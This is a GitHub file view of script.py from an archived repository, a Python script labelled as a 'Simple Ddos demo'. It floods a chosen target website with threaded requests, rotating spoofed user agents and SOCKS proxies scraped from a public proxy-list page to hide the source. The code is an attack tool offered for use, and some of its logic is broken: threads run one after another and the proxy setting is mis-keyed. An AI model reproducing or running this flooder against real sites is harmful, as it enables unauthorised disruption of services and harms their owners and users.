This repository has been archived by the owner on Jan 14, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
/
script.py
78 lines (69 loc) · 2.56 KB
/
script.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import argparse
import threading
import re
import requests
from random import randrange
from termcolor import colored
def banner():
print("---Simple Ddos demo by python---")
def parse_args():
parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('-u','--user_agents',
dest = "user_agents",
help = "Filename of user agents file",
default = "user_agents.txt",
required = False)
parser.add_argument('-t','--target',
dest = "target",
help = "Target website",
default = "http://example.com",
required = True)
parser.add_argument('-tr','--threads',
dest = "threads",
help = "Number of threads",
default = 100,
required = True)
return parser.parse_args()
def get_user_agents(filename: str):
user_agents = []
with open(filename, 'r') as f:
content = f.readlines()
for user_agent in content:
user_agents.append(str(user_agent.strip()))
return user_agents
def get_proxies():
URL = "http://www.live-socks.net/2018/11/27-11-18-socks-5-servers_57.html?m=1"
req = requests.get(URL, timeout=10)
content = req.text
proxies = re.findall(r"(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3}):(?:[\d]{1,5})", content)
return proxies
def flood(user_agent: str, proxy: str, target: str, thread: int):
print(colored("flood: thread #{}".format(str(thread)), 'cyan'))
headers = {
'User-Agent': user_agent,
'Content-Type': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
}
proxies = {
'socks5': proxy
}
try:
req = requests.get(target, headers=headers, proxies=proxies, timeout=5)
except Exception as e:
print(colored("Error: " + str(e), 'red'))
pass
def main():
banner()
ua_filename = parse_args().user_agents
user_agents = get_user_agents(ua_filename)
proxies = get_proxies()
target = parse_args().target
threads = int(parse_args().threads)
for thread in range (1, threads):
user_agent = user_agents[randrange(len(user_agents) - 1)]
proxy = proxies[randrange(len(proxies) - 1)]
t = threading.Thread(flood(user_agent, proxy, target, thread, ))
t.start()
t.join()
print(colored("Finished!", 'green'))
if __name__ == "__main__":
main()